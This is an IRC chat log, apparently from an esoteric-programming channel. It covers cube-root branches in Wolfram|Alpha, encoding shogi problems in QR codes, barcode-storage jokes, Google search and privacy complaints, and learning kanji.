23:14:41 <fizzie> Phantom__Hoover: R -> R involutions that are continuous almost everywhere, and also something else than f(x) = +-x and f(x) = { 0, if x = 0; +-k/x otherwise }, was the original question.
23:14:52 <oerjan> g(x) = (x+1)^3 gives (2 - x^(1/3))^3
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23:18:59 <oerjan> i'm sure there's some transcendental homeomorphism...
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23:25:33 <oerjan> i cannot recall any particularly nice ones though
23:26:31 <fizzie> oerjan: Values of x < 0 of that are complex.
23:27:22 <oerjan> fizzie: well it's not taking the real branch, then...
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23:27:56 <fizzie> Seems so, but I don't see why, since it is doing a single cube root.
23:28:09 <fizzie> I'd sort of assume that if you had to pick one.
23:28:10 <oerjan> exp(-exp(x)) maps R to (0,1), where you can use something like sin x / sin 1, then move back with ln(-ln(x))
23:28:51 <fizzie> I guess it's just the lowest-angle root that it chooses.
23:29:06 <fizzie> Or the "first" in that sense.
23:29:37 <fizzie> Since it says (-1)^(1/3) is e^(i*pi/3).
23:30:25 <fizzie> oerjan: Oh, also the mind-bending new thing about W|A was that you can now also pay $5/month to use it, if you want.
23:30:44 <fizzie> "Wolfram|Alpha Pro gives you a whole new way to interact with Wolfram|Alpha—and immediate access to new, more personal, computational knowledge. Introductory price, only $4.99/month."
23:30:48 <fizzie> Also there's a free trial.
23:31:09 <fizzie> So the "next big step" equals money.
23:32:16 <Phantom__Hoover> <oerjan> i'm sure there's some transcendental homeomorphism...
23:32:33 <fizzie> (Well, okay, it also lets you upload files now. Then it does stuff to them.)
23:32:51 <Phantom__Hoover> Wait homeomorphisms on R are just continuous bijections aren't they.
23:35:21 <oerjan> (the continuity of the inverse is automatic in this case, iirc)
23:36:25 <Phantom__Hoover> I can see a trivial proof by vague diagram, which I understand is the standard in topology.
23:37:23 <oerjan> for R^n it isn't quite so trivial, but still true by the invariance of domain theorem.
23:37:30 <fizzie> Bah, I can't figure out how to get the real branch. There's some obsoleted Miscellaneous`RealOnly` package, and the "usual solution" (according to some forum guy) of DeleteCases[Solve[x^3 == n, x], { Rule[_, _Complex] }, 2] (how obvious).
23:38:46 <fizzie> That doesn't even return a number but some symbolic { x -> <result> } list. And anyway W|A is not quite Mathematica.
23:39:49 <oerjan> Phantom__Hoover: for R it might help to realize these functions have to be monotonic
23:41:40 <fizzie> Well, "solve x^3 = -1, reals" works, but if I add "reals" it just finds "x = 8" because that solves (2 - x^(1/3))^3 = 0. If I explicitly add also "plot", the cube root reverts to the usual one.
23:41:53 <fizzie> If this is computational knowledge, I don't think I want any part of it.
23:42:29 <oerjan> it's "we know better than you what you mean" knowledge
23:42:46 <oerjan> and it surrounds us all.
23:43:25 <fizzie> That, but with x^(1/3) returning the real (negative) result for x < 0.
23:43:58 <oerjan> fizzie: something like sgn(x)*(abs(x))^(1/3), perhaps?
23:44:23 <fizzie> oerjan: Clever, it works.
23:45:26 <fizzie> You get one "successfully cheated at W|A" point.
23:45:39 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
23:45:39 <myndzi> | | | `\o/´ | | | `\o/´ | | |
23:45:40 <myndzi> /`\ >\ /´\ | /'\ /`\ /| | >\ |\ |\
23:46:23 <fizzie> Also I tried to click on the small "enable interactivity" icon, but that's a "Pro" feature.
23:47:30 <fizzie> But if you put in your $5 you get to choose a color scheme.
23:48:01 <fizzie> Maybe they'll buy a site license at the university.
23:48:22 <fizzie> "Use this soft keyboard to input mathematical and other symbols to make your formulas look just the way they do in books."
23:48:31 <fizzie> Imagine, just the way they do in books.
23:49:57 <fizzie> As an example someone's written "∫ sin(2 π θ) / (cos(π θ) + 2)". (I used the rather cheaper character map dealie.)
23:50:34 <oerjan> is the soft keyboard lemon or almond taste?
23:52:06 <fizzie> What's this "tones.wolfram.com".
23:52:12 <fizzie> Apparently it's "a new kind of music".
23:52:38 <lambdabot> sclv says: You have a problem and think "I'll use a hash function." Now you have intermittantly colliding problems.
23:52:40 <fizzie> I suppose it's when you play back 1D CA logs.
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00:20:32 <Sgeo> kallisti, update ng tan
00:41:26 <zzo38> Make something else.
00:48:32 <Gregor> Please sear this image into your mind: http://codu.org/hats/NewTopHat-med.jpg
00:48:49 <Gregor> Whenever you're doing something that Gregor would not approve of, just remember that image.
00:48:55 <Gregor> Together, we can all be more like me.
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01:02:47 <zzo38> OK I viewed it but I think that's all. I do not even necessarily know what you approve of, and in some circumstances I will not even care.
01:05:49 <kallisti> can anyone help a brother out with a congruence proof?
01:06:10 <kallisti> I feel like it's REALLY obvious.. but I'm unsure how to begin.
01:06:17 <calamari> your cute sister, on the other hand...
01:08:41 <kallisti> Let a and b be any integers. Prove that if a^2 + 2b^2 = 0 (mod 3), then either a and b are both congruent to 0 modulo 3 or neither is congruent to 0 modulo 3.
01:08:48 <kallisti> hmm, actually. I guess I should work backwards
01:08:56 <kallisti> because I can see how it works going backward... so I just... reverse that.
01:15:20 <fizzie> oerjan: As a special case of your thing, if g : R^+ -> R^+ continuous bijection, f(x) = { 0 if x = 0; -g(x) if x > 0; g^-1(-x) if x < 0 }. Might be useful if you want to have a specific sort of wiggle: just draw that in the x>0,y<0 quadrant, and mirror it over y=x to the x<0,y>0 one.
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02:10:32 <zzo38> I wrote more of some D&D prestige class I was writing, still not yet complete.
02:16:29 <zzo38> How many tsume shogi games can be encoded on a QR code?
02:17:13 <myndzi> 'qr code' isn't very specific
02:17:21 <myndzi> there are different physical sizes and different amounts of error correction
02:17:35 <myndzi> assuming you mean the largest physical size and least error correction, i'm still not sure what tsume means :)
02:18:48 <zzo38> Tsume shogi is a kind of checkmate problem for shogi games. There is a limit to the number of moves (counting moves on both sides; so it is always odd number), and the first player must give check every turn, the first player's king is not part of this game, as well as a few other rules such as futile interposition.
02:19:05 <zzo38> Which level of error correction is suitable for a fax machine?
02:19:26 <myndzi> depends on if there are actual problems with the fax on the other side
02:19:32 <myndzi> i mean, it is a digital signal these days, yes?
02:20:17 <myndzi> so it's possibly 20 pieces on one side and 19 on the other
02:20:20 <myndzi> but probably much less ya?
02:20:27 <myndzi> can you set a hard limit on the number of pieces?
02:20:42 <zzo38> No I mean using a normal analog telephone service.
02:21:06 <myndzi> well, just print it big enough that any messiness from the fax will be minor compared to the size of the qr code's pixels
02:21:17 <zzo38> Yes, tsume shogi is 20 pieces on one side and 19 on the other. However, most of the pieces start off the board (exactly how many depends on the individual problem).
02:21:17 <myndzi> when i said physical size i mean dimensions in "pixels"
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02:23:03 <myndzi> assuming bitstream because of probable compression
02:23:21 <myndzi> since captured pieces in shogi can be played again, i suppose you have to always account for all pieces
02:23:38 <myndzi> which means you would want to represent the location as one of 82 possibilities, but they are mutually exclusive
02:23:50 <myndzi> so you may be able to take advantage of that, likely other properties of shogi will make it easier
02:24:00 <myndzi> reducing the area or something
02:24:04 <myndzi> actually you could do that implicitly i bet
02:24:51 <myndzi> er, but you might want rectangles and you'd have to know which slice of the board it is anyway
02:24:57 <zzo38> Yes you do account for all pieces. Still, pieces off board on the same side which are the same kind of piece are interchangeable.
02:25:27 <zzo38> And I do suppose, you could do things such as restrict the king to start on one of the first five columns, for example.
02:25:30 <myndzi> gotta decide whether it's better to store state for pieces or pieces for locations
02:26:28 <myndzi> anyway, i guess range encoding makes the most sense, it's essentially specifying which permutation "this" is out of all possible permutations
02:26:43 <myndzi> and can benefit from statistical imbalance
02:26:45 <zzo38> There are compressions you could possibly do. I have made up a compression system for encoding sokoban levels once. One thing possible to do in tsume shogi, is you must ensure that the initial position is not check.
02:26:50 <shachaf> myndzi isn't exclusively a bot?
02:26:51 <myndzi> (large number of blank points on the board, for example)
02:27:26 <myndzi> i expect that the number of non-check positions is miniscule in comparison to the total number of positions and probably not worth it
02:27:38 <myndzi> unless you encode each piece in sequence as, like, a permuted value
02:27:43 <myndzi> first piece can be 1-81
02:27:49 <myndzi> multiply by 81, next piece can be 1-80
02:28:02 <myndzi> where each value is the number from one corner counting only available spaces
02:28:09 <myndzi> then you could implicitly exclude check positions
02:28:17 <myndzi> by simply not counting them in your tally
02:28:20 <zzo38> myndzi: Yes I have thought of that kind of thing, the factorial encoding.
02:28:45 <zzo38> (Not only for tsume shogi but for various purposes)
02:28:47 <myndzi> i expect that would give similar results to range encoding though, and range encoding might be simpler to handle
02:29:21 <myndzi> what you want to try to do with entropy encoding is somehow maximize the imbalance in the input sequences
02:29:37 <zzo38> I do not know the speed and stuff for computer to automatically calculate the number of moves. I do know a tsume shogi game for GameBoy, from Athena, which automatically responds to any move you might make (which must be check, of course), up to the maximum number of moves allowed.
02:29:58 <myndzi> i'm not really saying calculate all the moves
02:30:03 <myndzi> i'm saying calculate all the places one piece could be
02:30:11 <myndzi> then from the remaining places, calculate all the places the next piece could be
02:30:14 <myndzi> and encode those values
02:30:20 <myndzi> range encode those values
02:30:25 <myndzi> then you benefit from a bunch of sideboarded pieces
02:30:30 <myndzi> since they'll all be the same value
02:30:45 <myndzi> everything else gets encoded as a value between 0 and X where X is the max number of moves
02:30:52 <myndzi> this keeps lower numbers more likely, kind of
02:31:03 <myndzi> maybe don't use a left-to-right top-to-bottom thing, or use some form of prediction
02:31:04 <zzo38> Yes that can do. So that I can see, on average how many bytes; and then encode an entire book in this way to see the total length of the encoded data.
02:31:22 <myndzi> i did something very similar for tetris fields
02:31:34 <myndzi> can get like ... 8 byte(?) encodings
02:31:39 <myndzi> i forget the exact numbers atm
02:31:45 <myndzi> maybe it was more like 16
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02:32:29 <myndzi> anyway, if you are preencoding everything
02:32:36 <myndzi> you can choose the optimal values for best compression
02:33:06 <myndzi> if you are doing many over time, it might be simpler to share a set of probabilities calculated from a large sample set
02:33:09 <myndzi> then you don't have to send that data
02:33:24 <myndzi> or finally, you can do adaptive encoding where you base the proportions on the data you've decoded so far
02:33:32 <Jafet> You are planning to fax QR codes?
02:33:54 <myndzi> the question i'd like to attack is, how better to encode piece locations
02:33:58 <myndzi> to get more redundant data
02:35:16 <myndzi> you could get really tricky and do something like
02:35:47 <myndzi> order the locations by representing squares that are likely to have pieces (squares that protect pieces of your side)
02:36:02 <myndzi> (or squares that are not directly threatened by the other side)
02:36:15 <myndzi> that'd gain you some, but i'd like it if there was something better than that
02:36:29 <myndzi> perhaps order them within those two divisions by distance from the initial piece
02:36:46 <myndzi> or the previous piece, or some coordinates
02:36:58 <myndzi> probably coords since the piece order is fixed, then you can further reduce the values that encode locations
02:36:59 <Jafet> Strange positions tend to come up in puzzles as often as they don't appear in games
02:37:13 <myndzi> right, but given an arbitrary set of pieces
02:37:24 <myndzi> do you think it's likely or unlikely that many pieces are all threatened at once?
02:37:42 <Jafet> For a small set of pieces, rather likely
02:37:43 <myndzi> and given the nature of the problems, do you think it's likely or unlikely that the pieces will be spread out or more clustered?
02:38:05 <Jafet> I don't play shogi, but I'd assume they can be arranged either way.
02:38:09 <myndzi> ah, i sort-of tangled "threatened" with "undefended"
02:38:22 <myndzi> by threatened i meant in danger of capture, in a bad position
02:38:32 <myndzi> so i guess you could flag "protected" pieces and use that to identify danger
02:39:17 <myndzi> another possibility is to create an encoding in which intelligence in choosing the input values can reduce the size
02:39:29 <myndzi> that is, there are many orders for the input, but the program can choose the one that yields the best results
02:39:39 <myndzi> have to offer features for the encoder to take advantage of in that case
02:39:47 <myndzi> i'm not quite sure what those could be
02:40:10 <myndzi> you could possibly do something like ordering pieces along their threat areas
02:40:15 <myndzi> and creating a chain of pieces in sequence
02:40:21 <myndzi> that all can "attack" the next one
02:40:32 <myndzi> make the longest chains = best compression, since the range of values is much smaller
02:40:44 <myndzi> but you gain some weight by having to specify WHICH piece
02:41:40 <zzo38> Jafet: For something entirely different (not tsume shogi) I am planning to fax QR codes, or some kind of barcode anyways; it doesn't have to be QR code. The only thing is so that the sender can receive the same page possibly with marks filled in by pencil and understand (so, the codes will be twice faxed)
02:41:40 <myndzi> and it was a bit silly of me to say that the same-encodings of the out of play pieces will compress good for being the same value, since the out-of-play pieces can be derived implicitly, though i suppose you have to identify which side they are captured by
02:42:03 <myndzi> qr codes can actually be quite resistant to markings
02:42:11 <myndzi> it's quite possible you could mark up and only fax once
02:42:36 <myndzi> the format is pretty interesting
02:42:40 <zzo38> myndzi: In general, most of them belong to the second player (the player having the king).
02:42:51 <myndzi> the data is ordered to present the least chance of damage in one physical location damaging the data
02:43:17 <zzo38> myndzi: It isn't the QR codes which will be marked up by pencil; it is other stuff similar to scantron or something like that
02:43:18 <myndzi> at the highest error correction iirc you can lose half the data and still be ok
02:44:03 <myndzi> zzo38: in that case the smallest encoding might be something like, a list of pieces captured by the attacking player
02:45:12 <zzo38> myndzi: Yes, it is what I was thinking. Even when written on paper, the pieces available for the second player to drop are not mentioned since they are implied
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02:51:05 <myndzi> grr this is getting annoying
02:51:21 <myndzi> any ideas on isolating an intermittent hardware problem (system freeze)?
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02:59:50 <ais523> hmm, do you get anything useful if you point a barcode reader at a zebra?
03:00:08 <ais523> this sounds like a "silly source code" idea
03:00:21 <ais523> writing the program is easy, but you have to find an appropriate zebra to input it to the interpreter
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03:30:50 <ais523> zzo38: no, I don't have any zebras spare
03:37:26 <zzo38> ais523: Can you use some pictures of zebras from Wikimedia Commons or whatever?
03:37:46 <ais523> hmm, I'm not sure I have an appropriate barcode scanner eitehr
03:38:53 <zzo38> There are computer programs which will do it, such as zbar; possibly you can cut out part of it to make it like a proper barcode see if it scans
03:44:12 <ais523> hmm, the information content of a zebra barcode is quite low
03:44:23 <ais523> so presumably you'd make it an alternate syntax for GolfScript or a similar language
03:46:40 <zzo38> First you should try it to see if you can get anything at all
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04:02:23 <Gregor> Part of any barcode is marks that are consistent across all barcodes of the same style, so that the scanner can compensate for size/distance.
04:02:29 <Gregor> So, no, you can't scan a zebra.
04:02:39 <Gregor> Not unless it happens to be of the rare barcode breed of zebra.
04:02:52 <pikhq_> Do I hear a breeding project?
04:03:42 -!- Gregor has set topic: Breeding zebras as an information storage medium | http://codu.org/logs/_esoteric/.
04:06:10 <zzo38> Then invent a new barcode format.
04:06:52 <Jafet> Or the better-sounding bracode
04:07:12 <zzo38> (I also think of a similarity to the chiromancy idea I have posted on esolang wiki list of ideas a while ago)
04:08:19 <pikhq_> Barcodes: silliest backup medium?
04:08:34 <Jafet> No, that goes to DVDs.
04:08:50 <quintopia> archival ink is known to last a long time
04:09:03 <pikhq_> quintopia: Well. There is that.
04:09:12 <pikhq_> Qr code is a form of barcode.
04:09:53 <pikhq_> "barcode" in modern use refers to any optical machine-readable data storage.
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04:10:37 <Jafet> DVDs rot, are cumbersome, and have no integrity monitoring
04:10:59 <zzo38> I first learned about 2D barcodes from an issue of 2600
04:11:09 <pikhq_> Jafet: They're not even the silliest quickly-rotting backup medium!
04:11:27 <Jafet> Well, they're the silliest that people seriously use
04:11:59 * Jafet brandishes an Iomega product
04:12:38 <pikhq_> Also, DVDs aren't *too* bad if you actually work with them. Like, I dunno. Write on multiple discs, replace yearly, verify checksums?
04:13:00 <pikhq_> Especially considering DVDs are tiny.
04:13:12 <Jafet> A jukebox mechanism renders any possible cost savings moot
04:13:21 <pikhq_> You'd be better off doing something like, say, a few external hard drives.
04:14:13 <pikhq_> This also has the advantage of not being insanely slow.
04:15:19 <pikhq_> Anyways. Silly backup media? Heck, let's go insane. Delay lines.
04:15:40 <pikhq_> "I've got a lightminute of data storage here!"
04:16:05 <Jafet> Mercury was cheaper than silicon wafers!
04:17:09 <pikhq_> And so was antimatter, your point? :P
04:17:32 <Jafet> This reminds me of a company touting their battery-backed SDRAM drive to be great for swap
04:18:00 <pikhq_> Well, yes, RAM is wonderful for swap. :P
04:28:43 <Gregor> Apparently a "type 40" QR code can store up to 2,953 characters. It's very dense. Assuming you could print, say, twelve of those at readable DPI per side of a sheet of paper, you've got about 69KB per sheet of paper. That means a floppy disk is 21 pages.
04:29:46 <pikhq_> That means that a complete, if minimal, Linux install would be ~21 pages.
04:30:49 <Gregor> The source code for the linux kernel, compressed, would be at least 750 pages though :)
04:30:49 <pikhq_> Also, because QR codes make this relevant: 2,953 *octets*.
04:31:08 <zzo38> Do you mean letter size paper?
04:31:38 <Gregor> zzo38: Since it all comes down to what DPI you can print and what DPI you can scan, I'm not really specifying a paper size, just estimating how many QR codes you could fit on some "reasonable" size.
04:31:53 <pikhq_> You can also store numeric, alphanumeric, and kana/kanji data, each with varying amounts of storage.
04:32:27 <pikhq_> But, it's just 2,953 octets, so. :)
04:32:35 <zzo38> I looked at some QR code programs they have many files needed to encode it properly. I once wanted to make a QR encoder in TeX. I do not even know how.
04:34:40 <zzo38> But I did write a POSTNET encoder in TeX.
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04:50:59 <pikhq_> http://gayhomophobe.com/ Best thing?
04:51:19 <pikhq_> (maintains a count of the days since a homophobe was caught in a gay sex scandal)
05:00:04 <ais523> pikhq_: you're not going to find a QR code on a zebra :)
05:00:35 <pikhq_> Not without breeding zebras as an information storage medium.
05:03:29 <itidus20> i think google is so busy advertising it's privacy policy because it's gonna screw everyone in the ass
05:03:45 <itidus20> if there was no downsides i don't think they would promote it so much
05:12:45 <ais523> itidus20: the advertising is useful, it let me know how to delete my Google account, so I did
05:13:50 <itidus20> its not that i don't like google.. just that i feel like all this effort to advertise some major changes to their privacy policy is probably really bad news for me
05:14:26 <Gregor> When they changed it, people started to rumble about how they were trying to sneak it under everyone's noses.
05:14:35 <Gregor> I'm pretty sure they started advertising it mainly to say "No! No! We're not!"
05:14:48 <itidus20> well whats the worst they can do i guess
05:14:49 <Gregor> They kinda went overboard though.
05:15:21 <itidus20> . o O ( /join #google-privacy-policy ) lol
05:16:29 <Gregor> My understanding is that previously their privacy policies were self-contained, which is to say that your information from one Google service usually couldn't be used in another (depending on the two services in question), and furthermore every service had its own privacy policy. They integrated it in both senses: There is only one Google privacy policy now, but it covers all Google services, so they're universally allowed to share amongst themselves.
05:17:33 <Gregor> It's the kind of thing that I just assumed they were doing in the first place, I was shocked by the suggestion that they might not have been X-D
05:18:44 <itidus20> if they do anything wrong we should just email them your discouragement photo
05:21:06 <ais523> Gregor: I like the theory that they're trying to discourage a lawsuit
05:21:57 <zzo38> Do you enable show-punycode on your computer?
05:22:02 <ais523> but it reminds me slightly of the VPSAD mousetrap I pulled off once, when you make absolutely sure that you've let someone know the potential consequences of someone, so that you can actually make said potential consequences happen later and they can't deny it
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05:57:56 <zzo38> I wonder, if it is ever possible to homograph attack within the Dungeons & Dragons game
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06:08:08 <pikhq> Apparently in the US up until the 70s there were life insurance vending machines.
06:08:20 <pikhq> In an airport you could buy life insurance for the duration of your flight.
06:08:42 <pikhq> From a vending machine.
06:09:04 <quintopia> but also life insurance used to be very different
06:09:20 <pikhq> It was apparently ridiculously profitable.
06:09:26 <pikhq> Which makes sense.
06:09:45 <pikhq> Given the safety record of flight, that's nearing on "license to print money".
06:10:30 <quintopia> its no better than the record of cars if you look at it closer
06:10:53 <quintopia> just because cars are a more likely form of death doesnt mean theyre less safe on average
06:11:24 <quintopia> i dont have numbers on me, but ive seen them
06:11:27 <pikhq> How, precisely, are you measuring their safety? Risk of death per time spent in the vehicle or some such?
06:11:58 <Jafet> Safety is usually measured in unpleasant events per unit distance per passenger
06:12:01 <pikhq> Course, I'd say that selling a life insurance policy for the duration of a car trip would *also* be ridiculously profitable.
06:12:15 <pikhq> People usually don't die from car accidents. :)
06:12:44 <zzo38> Use extremely convoluted plans to somehow get dead during the flight, also killing a single person who happens to be on that flight that you and many other people also really want dead
06:13:23 <pikhq> And be sure to be signed up for cryonics, and will your life insurance winnings to be held in trust for you.
06:13:44 <pikhq> It's a several-win scenario, if it works.
06:14:25 <pikhq> Course, if you really wanted everyone else on the plane to be dead, you're still winning.
06:15:07 <quintopia> if i sold life insurance, it would contain a reclamation clause. becoming undead means unclaiming the insurance money. you have to pay it back with interest for the time you spent dead.
06:16:17 <Jafet> What if a dead guy gets snap-cloned
06:16:55 <pikhq> quintopia: Yeah, but alas, most life insurance goes with legal death.
06:17:26 <quintopia> Jafet: including mental state at time of death?
06:18:23 <zzo38> I did not even mean necessarily everyone; if you could get some people surviving and others dead possibly if you can figure out a way to do so. While not allowing anyone to know how the plan was done because it is different from everything else.
06:18:23 <Jafet> The exact state is probably unimportant.
06:19:40 <quintopia> if its different enough to constitute a different person, that would be a new person without any policy
06:29:16 <zzo38> But can you define "a different person"? There is even philosophical, such as Ship of Theseus, and if you have iron in two things in two places and it immediately switches places, and if a person is different when they are grow up or not, and so on
06:29:55 <Jafet> You don't need to, just invent snap-cloning and leave the question to insurance company lawyers
06:30:07 <Jafet> Shotgun philosophy
06:30:55 <pikhq> The lawyers will find a way to define a "different person", and sanity be damned.
06:31:32 <Sgeo> kallisti, update
06:32:46 <zzo38> That might work in law, but philosophers will realize it is wrong and think of different ways
06:33:38 <zzo38> (And that applies to both sane and insane philosophers; so you are damned either way...)
06:34:17 <pikhq> Yeah, but the philosophers are liable to spend centuries arguing about it. :P
06:34:36 <zzo38> pikhq: Yes of course that is now philosophy works
06:35:05 <zzo38> And it is a good thing that philosophy works that way
06:36:51 <zzo38> At least in my opinion.
06:39:36 <kallisti> when you could type in google searches
06:39:45 <kallisti> and then click on a different kind of youtube search
06:39:55 <kallisti> GONE ARE THOSE DAYS, APPARENTLY?
06:40:23 <kallisti> it's when you click the search in the top panel
06:40:32 <kallisti> wow that's really fucking weird.
06:41:07 <pikhq> Remember the days when it was possible to search for an exact string in Google?
06:42:13 <pikhq> No, Google got "smart" and that doesn't necessarily work.
06:43:34 <ais523> pikhq: we actually found a trick for searching for an exact word without it being autocorrected
06:43:37 <ais523> put extraneous hyphens in it
06:43:46 <ais523> (yes, this is ridiculous)
06:44:59 <Jafet> You puny humans and your pathetic attempts to outsmart google
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06:53:21 <zzo38> Google has been getting worse all the time since they first existed....................!!!!!!
06:55:21 <myndzi> no kidding @ exact searches
06:55:30 <myndzi> i ran into one the other day that blatantly ignored -"phrase"
06:55:39 <myndzi> turns out something superceded it, reversing the order worked
06:55:52 <myndzi> i found a search last week that returns only youtube blended results
06:56:01 <myndzi> no organic results at all on the entire first page
07:01:33 <zzo38> Do what was suggestion in 2600 once; make a program which occasionally sends bogus requests to Google
07:04:30 <myndzi> dunno what that'll do to help anything
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07:21:34 <pikhq_> Latin transcribed into katakana is... So very strange.
07:21:42 <pikhq_> ステラ ノビス ノン コンチェスィト ノン コンチェスィト
07:22:50 <myndzi> wish i could still read that haha
07:23:08 <pikhq_> "stera nobisu non konchesito non konchesito" in wapuro romaji, "sutera nohìsu nonn konntiēsuīto nonn konntiēsuīto" in pikhq romasì, "Stella nobis non concessit non concessit" in more normal orthography.
07:24:05 <myndzi> i suppose it has to do with lots of consonant endings in latin
07:24:54 <pikhq_> And Japanese has this funny pattern of everything being "consonant-vowel".
07:25:03 <pikhq_> That produces some really strange transcriptions.
07:25:09 <myndzi> consonant-consonant will do it too
07:26:30 <myndzi> i've gotta learn kanji sometime soon
07:26:37 <myndzi> i've now bought at least 4 manga series that i can't read
07:26:59 <myndzi> *.kitoh, also gunnm 'cause it's out of print
07:27:22 <myndzi> i can't say i have great taste haha
07:27:29 <myndzi> but i wanted to own them
07:27:30 <pikhq_> Also, trust me, you want to learn kanji if you want to speak Japanese. Some people will tell you you can get away with it.
07:27:32 <myndzi> i do want to get kknj too
07:27:33 <zzo38> I have all the Akagi manga series so far, including the special editions.
07:27:47 <pikhq_> You can't read fucking *Youtube comments* without kanji.
07:27:51 <myndzi> oh i said i ought to learn *kanji*
07:28:03 <myndzi> though i would like to do that too at some point
07:28:14 <pikhq_> Japanese ain't that hard.
07:28:16 <myndzi> i suppose i'll need some words here and there for stuff that doesn't have kanji
07:28:25 <myndzi> yeah, it's more of commitment and time that's holding me up
07:28:43 <myndzi> i'm hoping that maybe duolingo will add japanese soon
07:28:59 <zzo38> I can understand some kanji, as well as knowing the hiragana and katakana entirely. Mixing kana with kanji does actually make it to read fast and better even though some people say it isn't. I know this because of my own experience
07:29:40 <myndzi> well, for a little while i was going through remembering the kanji, with the aid of that one website... has a derivative name, can't think of it at the moment
07:29:43 <myndzi> spaced repetition works good
07:29:52 <myndzi> i remember all the kanji i picked up during that, it's just not many
07:30:08 <pikhq_> 漢字とカタカナとひらがなで書いて本当に読むのが速いぜ！
07:30:12 <myndzi> reviewing the kanji = website
07:30:13 <pikhq_> myndzi: Reviewing the Kanji?
07:30:36 <myndzi> dunno how frequent compounds are, though, and i bet rtk doesn't teach that
07:30:40 <myndzi> at least they'll be somewhat obvious i think
07:30:47 <myndzi> i mean, obvious that it's a compound
07:31:04 <pikhq_> Compounds are highly frequent and highly obvious.
07:31:32 <pikhq_> And a significant amount of them are also fairly simple in construction.
07:32:27 <myndzi> well that's encouraging anyway
07:32:34 <pikhq_> 販売機 "trade sell machine" -> "vending machine"
07:32:52 <myndzi> but yeah, uh, my budding library isn't exactly easy reading
07:32:59 <myndzi> i should get yotsuba& :>
07:34:59 <pikhq_> Yeah, that's quite easy reading.
07:35:32 <myndzi> but it's written with an &!
07:35:44 <myndzi> i just can't write hiragana or whatever
07:35:54 <pikhq_> No, that's a translation artifact. :P
07:36:32 <myndzi> though it makes more sense
07:37:17 <myndzi> my computer is freezing every ~hour now
07:37:23 <myndzi> hopehopehope it's the video card
07:45:01 <zzo38> When writing Japanese texts by hand I will use katakana because I find hiragana more difficult to write
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07:45:22 <zzo38> (Although I can read hiragana OK)
07:45:26 <myndzi> i mean, i don't have an ime installed or know the syllables to write with
07:45:36 <myndzi> so i had to write it gringo-style
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08:15:51 <pikhq_> Funny, when writing English texts intended for myself by hand I will use kanji because I find it easier to write. :P
08:21:06 <zzo38> pikhq_: I will sometimes do that too; but I also use English abbreviations (often shorter than a standard abbreviation), mathematical notation, and various other things.
08:21:24 <pikhq_> Actually. Yeah, that's basically my note-taking.
08:21:40 <pikhq_> I get some insanely dense notes.
08:22:20 <ais523> hmm, surely there are quite a few things expressible in English that can't be losslessly expressed in either kanji or kana?
08:22:44 <zzo38> As well as things I just omit because the way I think, they are implied.
08:22:46 <ais523> if there's not a corresponding Japanese word, there won't be a kanji, and English and Japanese use different alphabets, in terms of which syllables are expressible
08:23:48 <zzo38> ais523: I think that is the case in any language where some things are impossible to translate exactly, both in meanings and in syllables.
08:23:51 <pikhq_> ais523: First, I end up using the kanji ad hoc to map to morphemes, second, it's used not entirely.
08:24:01 <pikhq_> Just like kanji are used in Japanese, actually.
08:24:16 <ais523> so it's a substitution cipher that uses kanji?
08:25:02 <pikhq_> I should note that this is literally how Japanese is written.
08:25:34 <zzo38> Sometimes I write my name using the kanji for black
08:29:21 <Sgeo> I'm going to cry at the number of times I see languages contrasted against Java.
08:29:40 <Sgeo> I'm not comparing you to Java, I already think that Java's crap, how do you stack up against a _good_ language?
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08:33:28 <ais523> it'd make sense to compare on performance
08:33:39 <ais523> apart from startup time, Java's pretty fast, but often pretty memory-hungry
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11:02:12 <oerjan> i suspect i should have replaced AVG a long time ago.
11:03:08 <oerjan> (an antivirus that become gradually more annoying over the years)
11:03:41 <ais523> Microsoft Security Essentials is reasonably non-obnoxious, and apparently also quite good at catching malware (although not the best)
11:04:06 <oerjan> then they made the mistake of sneaking their toolbar past me, and when i discovered that it looked easier to replace the whole program than uninstalling just the toolbar...
11:04:58 <oerjan> and yes, i went to MSE. that "non-annoying" on their page was _so_ alluring.
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11:13:06 <oerjan> <zzo38> There are computer programs which will do it, such as zbar; possibly you can cut out part of it to make it like a proper barcode see if it scans
11:13:28 <oerjan> ...clearly that program name is missing an e somewhere.
11:13:53 <oerjan> serious missed pun opportunity.
11:16:57 <oerjan> oh, there is one actually called zebra.
11:17:26 <ion> zebra would be so easy to google.
11:18:15 <oerjan> ion: i was thinking more like ezbar or so
11:18:39 <ion> Not zbear?
11:18:59 <oerjan> > permutations "zebra"
11:19:00 <lambdabot> ["zebra","ezbra","bezra","ebzra","bzera","zbera","rbeza","breza","berza","r...
11:19:34 <ion> > (permutations <=< subsequences) "zebr"
11:19:35 <lambdabot> ["","z","e","ze","ez","b","zb","bz","eb","be","zeb","ezb","bez","ebz","bze"...
11:20:36 <lambdabot> Data.List subsequences :: [a] -> [[a]]
11:21:01 <oerjan> WHAT WAS WRONG WITH filteM (const [True, False]) ?
11:21:47 <lambdabot> [[],[1],[2],[1,2],[3],[1,3],[2,3],[1,2,3],[4],[1,4],[2,4],[1,2,4],[3,4],[1,...
11:22:03 <oerjan> i guess that doesn't work on infinite lists.
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11:24:54 <Taneb> Why the sudden 'stral'ness, mate
11:25:24 <oerjan> crikey, can't a mate speak a bit strine?
11:26:48 <fizzie> Something something barbie something.
11:26:59 <oerjan> btw is http://www.mezzacotta.net/garfield/?comic=1004 broken for everyone else?
11:27:44 <oerjan> i get a broken picture :(
11:28:59 <oerjan> even directly at http://www.mezzacotta.net/garfield/comics/1004.png
11:29:30 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
11:31:04 <fizzie> oerjan: How's http://zem.fi/~fis/1004.png for you?
11:31:50 <fizzie> Wuird. Maybe there's something STRANGE about the PNG.
11:32:27 <fizzie> $ convert 1004.png 1004.gif
11:32:27 <fizzie> convert: Incorrect bKGD chunk length `1004.png' @ warning/png.c/PNGWarningHandler/1457.
11:32:28 <oerjan> i noticed it the day it went up, but thought it would surely be fixed by now, but if only i see it...
11:32:57 <fizzie> Your PNG-grokking thing must be pickier than others'.
11:33:23 <fizzie> Anyway http://β.zem.fi/~fis/1004.gif
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11:34:54 <oerjan> hm it's also picky about showing that β
11:35:09 <oerjan> at least it allowed it as input.
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11:35:37 <fizzie> I'm sort-of regretting that β. It seemed like a good idea at the time, but seeing it written "xn--nxa" all the time in Chrome/Chromium is being the annoy.
11:35:54 <fizzie> And apparently in IE too.
11:36:19 <oerjan> well it _is_ suggesting i change the language settings to allow it.
11:36:57 <fizzie> Chrome's rule too is "show characters in the language the user can read", approximated somehow.
